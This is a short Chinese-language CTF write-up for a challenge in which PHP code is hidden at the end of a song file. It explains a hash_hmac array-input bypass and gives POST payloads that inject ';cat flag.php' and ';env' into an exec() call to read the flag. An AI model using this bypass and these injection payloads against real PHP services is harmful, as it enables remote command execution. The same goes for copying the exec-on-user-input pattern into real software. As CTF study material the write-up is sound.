不用怀疑,整首歌真的只是黑猫警长
歌下载下来,010查看最后面发现代码
<?php
if (empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])) {
die();
}
$clandestine = getenv("clandestine");
if (isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if ($hh !== $_POST['Black-Cat-Sheriff']) {
die();
}
echo exec("nc" . $_POST['One-ear'])
还是很好理解的,就是两次 hmac加密,第一次秘钥是 环境变量,第二次秘钥则是 第一次的结果
最后如果两次加密后结果 与我们输入的相等,则执行后面的命令
这里提一下 hash_hmac() 的一个漏洞,如果 data是数组,就会返回错误,返回 NULL,这样就绕过了我们不知道环境变量的问题
所以最后的加密结果也是可以预见的
<?php
$clandestine = hash_hmac('sha256', array(), 'abc');
$hh = hash_hmac('sha256', '123;cat flag.php', $clandestine);
echo $hh;
# 7efffe428751e95b44dde414dbe2fb37d1fcf44887881dd0c179fb7f7ddbd075
payload
White-cat-monitor[]=1
&One-ear=123;cat flag.php
&Black-Cat-Sheriff=7efffe428751e95b44dde414dbe2fb37d1fcf44887881dd0c179fb7f7ddbd075
恶心,这个是假 flag,真 flag在 env里,麻了
White-cat-monitor[]=1
&One-ear=123;env
&Black-Cat-Sheriff=2484dd802be98dc3dd9df9513fb681e68257505ce55bf7d79d4778142fed24f9